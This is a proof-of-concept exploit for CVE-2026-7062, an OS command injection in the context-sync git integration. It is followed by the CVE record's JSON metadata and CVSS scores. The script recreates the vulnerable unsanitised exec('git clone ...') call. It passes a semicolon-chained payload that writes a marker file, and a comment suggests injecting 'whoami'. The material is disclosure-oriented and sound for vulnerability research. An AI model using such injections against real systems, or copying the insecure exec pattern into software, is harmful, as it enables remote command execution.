CVE-2026-7062

// PoC for CVE-2026-7062: OS Command Injection in context-sync // Vulnerable file: src/git-integration.ts const { exec } = require('child_process'); /** * Simulates the vulnerable git integration functionality. * The actual vulnerability allows an attacker to inject commands via * unsanitized input passed to a system command. */ function vulnerableGitClone(userInputRepo) { // VULNERABLE CODE: Direct interpolation of user input into a shell command // An attacker can input 'http://repo.com; whoami' to execute 'whoami' const command = `git clone ${userInputRepo}`; console.log(`[+] Executing command: ${command}`); exec(command, (error, stdout, stderr) => { if (error) { console.error(`[-] Error: ${error.message}`); return; } if (stderr) { console.error(`[-] Stderr: ${stderr}`); return; } console.log(`[+] Output:\n${stdout}`); }); } // Exploit Payload // Using a semicolon (;) to chain a command that creates a file as proof of execution const payload = "https://github.com/valid/repo.git; echo 'CVE-2026-7062_POC_SUCCESS' > /tmp/pwned.txt"; console.log("[!] Sending malicious payload to trigger OS Command Injection..."); vulnerableGitClone(payload);

{"cve": {"id": "CVE-2026-7062", "sourceIdentifier": "[email protected]", "published": "2026-04-26T23:16:21.093", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in Intina47 context-sync up to 2.0.0. This affects an unknown part of the file src/git-integration.ts of the component Git Integration. Such manipulation leads to os command injection. The attack can be executed remotely. The exploit has been disclosed publicly and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/Intina47/context-sync/", "source": "[email protected]"}, {"url": "https://github.com/Intina47/context-sync/issues/31", "source": "[email protected]"}, {"url": "https://github.com/wing3e/public_exp/issues/22", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/798614", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359637", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359637/cti", "source": "[email protected]"}]}}